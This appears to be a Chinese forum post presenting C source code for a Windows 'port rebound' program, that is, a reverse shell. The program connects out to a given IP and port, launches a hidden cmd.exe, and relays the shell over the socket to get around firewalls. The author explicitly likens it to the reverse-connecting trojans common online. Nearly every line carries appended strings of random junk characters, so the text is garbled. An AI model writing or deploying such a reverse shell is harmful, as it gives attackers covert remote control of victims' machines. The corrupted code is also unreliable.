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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .oN<c]iqE  
nPR_:_^  
/* ============================== h,rGa\X~0  
Rebound port in Windows NT kIP~XV~  
By wind,2006/7 6wIv7@Y  
===============================*/ kHm1aE<  
#include dkLc"$( O  
#include \,ir]e,1  
Y>wpla[kUq  
#pragma comment(lib,"wsock32.lib") o5i?|HJ  
3yZtyXRPn  
void OutputShell(); (ZT*EFhb(  
SOCKET sClient; ol:,02E&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z,I7 PY& G  
"Yq-s$yBi  
void main(int argc,char **argv) q~_Nv5r%O  
{ -gv@ .#N  
WSADATA stWsaData; !94& Uk(O  
int nRet; D8paIp  
SOCKADDR_IN stSaiClient,stSaiServer; V-O49  
'nBJ[$2^  
if(argc != 3) IP-CN  
{ D0us<9q  
printf("Useage:\n\rRebound DestIP DestPort\n"); =@G#c5H*  
return; bhnm<RZ  
} 2RT9Q!BX{  
rV[#4,}PF  
WSAStartup(MAKEWORD(2,2),&stWsaData); :-Ho5DHg  
q'hMf?_  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  &5O  
hy3[MOD$G  
stSaiClient.sin_family = AF_INET; Lk4&&5q  
stSaiClient.sin_port = htons(0); WK:~2m&y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3@XCP-`  
9kH~+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7.hVbjy'-  
{ #HJF==  
printf("Bind Socket Failed!\n"); ~; Ss)d  
return; Xi4!7IOm o  
} ]J~37 35]  
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stSaiServer.sin_family = AF_INET; vObP(@0AM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j<R,}nmD3\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); va95/(  
x,5$VLs\+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b+[9) B)a?  
{ &&M-5XD  
printf("Connect Error!"); >O9j},X  
return; jf$6{zO6j  
} X>wB=z5PXK  
OutputShell(); zi:GvTG  
} \G#Qe*"'K  
#- z*c  
void OutputShell() Zo-E0[9  
{ ^.nvX{H8~=  
char szBuff[1024]; ^ Gq2"rDM  
SECURITY_ATTRIBUTES stSecurityAttributes; jt S+y)2  
OSVERSIONINFO stOsversionInfo; i"F'n0*L  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +r2E5s   
STARTUPINFO stStartupInfo; f8lBxK  
char *szShell; NQ'^ z  
PROCESS_INFORMATION stProcessInformation; B5  C]4  
unsigned long lBytesRead; % 95:yyH 0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =yz#L@\!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rf@/<Wu  
stSecurityAttributes.lpSecurityDescriptor = 0; 5#80`/w^U  
stSecurityAttributes.bInheritHandle = TRUE; jMzHs*:  
qaA\.h7  
/21d%T:}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]i8K )/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pyT+ba#  
Z, lUO.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t TA6 p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MPAZ%<gmD  
stStartupInfo.wShowWindow = SW_HIDE; ?\<2*sW [k  
stStartupInfo.hStdInput = hReadPipe; GH7{_@pv8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m{JiF-=u  
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GetVersionEx(&stOsversionInfo); SV<*qz  
hIXGfvUy  
switch(stOsversionInfo.dwPlatformId) QTz{ZNi!  
{ U4 m[@wF  
case 1: JAC W#'4hV  
szShell = "command.com"; ]vXIj0:  
break; ]n _-  
default: PUltn}M  
szShell = "cmd.exe"; #Vs/1y`()  
break; 3${?!OC  
} E&{*{u4  
`y P-,lA$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "f!*%SR: 1  
c72Oy+#  
send(sClient,szMsg,77,0); q-o=lU"  
while(1) \xDu#/^  
{ [9BlP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "2HRuqf  
if(lBytesRead) d%t]:41=Z  
{ umcbIi('  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $- =aqUU  
send(sClient,szBuff,lBytesRead,0); HoH3.AY X  
} )_GM&-  
else ]WWre},  
{ !Ya +  
lBytesRead=recv(sClient,szBuff,1024,0); ~_8Ve\Y^/  
if(lBytesRead<=0) break; B 0 K2Uw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); at,Xad\j  
} TbIM{X  
} nd3]&occ  
x^+ C[%  
return; L]K*Do  
}
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